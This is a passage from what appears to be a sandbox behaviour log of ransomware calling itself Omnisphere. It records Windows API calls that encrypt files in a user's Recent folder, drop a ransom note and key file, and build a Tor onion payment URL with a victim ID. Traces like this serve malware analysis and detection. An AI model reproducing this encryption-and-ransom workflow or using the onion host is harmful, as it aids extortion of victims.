(lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\udic.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\udic.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.126] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.127] CloseHandle (hObject=0x3c0) returned 1 [0127.127] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.127] CloseHandle (hObject=0x288) returned 1 [0127.128] SetEndOfFile (hFile=0x28c) returned 1 [0127.128] FlushFileBuffers (hFile=0x28c) returned 1 [0127.137] CloseHandle (hObject=0x28c) returned 1 [0127.137] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\udic.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.137] GetProcessHeap () returned 0x1600000 [0127.137] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f18b8 [0127.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.137] GetProcessHeap () returned 0x1600000 [0127.137] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5be0 [0127.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5be0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.138] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.138] GetProcessHeap () returned 0x1600000 [0127.138] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d84e8 [0127.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d84e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.138] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.138] GetProcessHeap () returned 0x1600000 [0127.138] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d8648 [0127.138] PathCombineW (in: pszDest=0x16d8648, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.138] GetProcessHeap () returned 0x1600000 [0127.138] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e5530 [0127.138] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.138] WriteFile (in: hFile=0x28c, lpBuffer=0x16e5530*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e5530*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.139] CloseHandle (hObject=0x28c) returned 1 [0127.139] GetProcessHeap () returned 0x1600000 [0127.139] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f18b8 | out: hHeap=0x1600000) returned 1 [0127.139] GetProcessHeap () returned 0x1600000 [0127.139] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.139] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.139] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.139] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.139] CloseHandle (hObject=0x28c) returned 1 [0127.139] GetProcessHeap () returned 0x1600000 [0127.140] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.140] GetProcessHeap () returned 0x1600000 [0127.140] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b8a8 | out: hHeap=0x1600000) returned 1 [0127.140] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e25c9d4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e25c9d4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1e25c9d4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3d3, dwReserved0=0x0, dwReserved1=0xd3, cFileName="ueEnk73BIU41LGf.lnk", cAlternateFileName="UEENK7~1.LNK")) returned 1 [0127.140] GetProcessHeap () returned 0x1600000 [0127.140] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa8) returned 0x162cec8 [0127.140] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="ueEnk73BIU41LGf.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ueEnk73BIU41LGf.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ueEnk73BIU41LGf.lnk" [0127.140] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.140] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ueEnk73BIU41LGf.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ueenk73biu41lgf.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.140] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=979) returned 1 [0127.140] GetTickCount () returned 0x115fba2 [0127.140] GetTickCount () returned 0x115fba2 [0127.140] GetTickCount () returned 0x115fba2 [0127.140] GetTickCount () returned 0x115fba2 [0127.140] GetTickCount () returned 0x115fba2 [0127.140] GetTickCount () returned 0x115fba2 [0127.140] GetTickCount () returned 0x115fba2 [0127.140] GetTickCount () returned 0x115fba2 [0127.140] GetTickCount () returned 0x115fba2 [0127.140] GetTickCount () returned 0x115fba2 [0127.140] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] GetTickCount () returned 0x115fba2 [0127.141] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668570) returned 1 [0127.142] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639528) returned 1 [0127.142] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.142] CryptDestroyKey (hKey=0x1639528) returned 1 [0127.142] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0127.142] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d3, lpName=0x0) returned 0x288 [0127.142] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d3) returned 0x1480000 [0127.142] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669010) returned 1 [0127.143] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639528) returned 1 [0127.143] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.143] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.143] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.143] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.143] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.143] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.143] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.143] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.143] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.143] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.143] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.143] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.143] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.143] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.143] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.143] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.143] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.143] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.144] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, 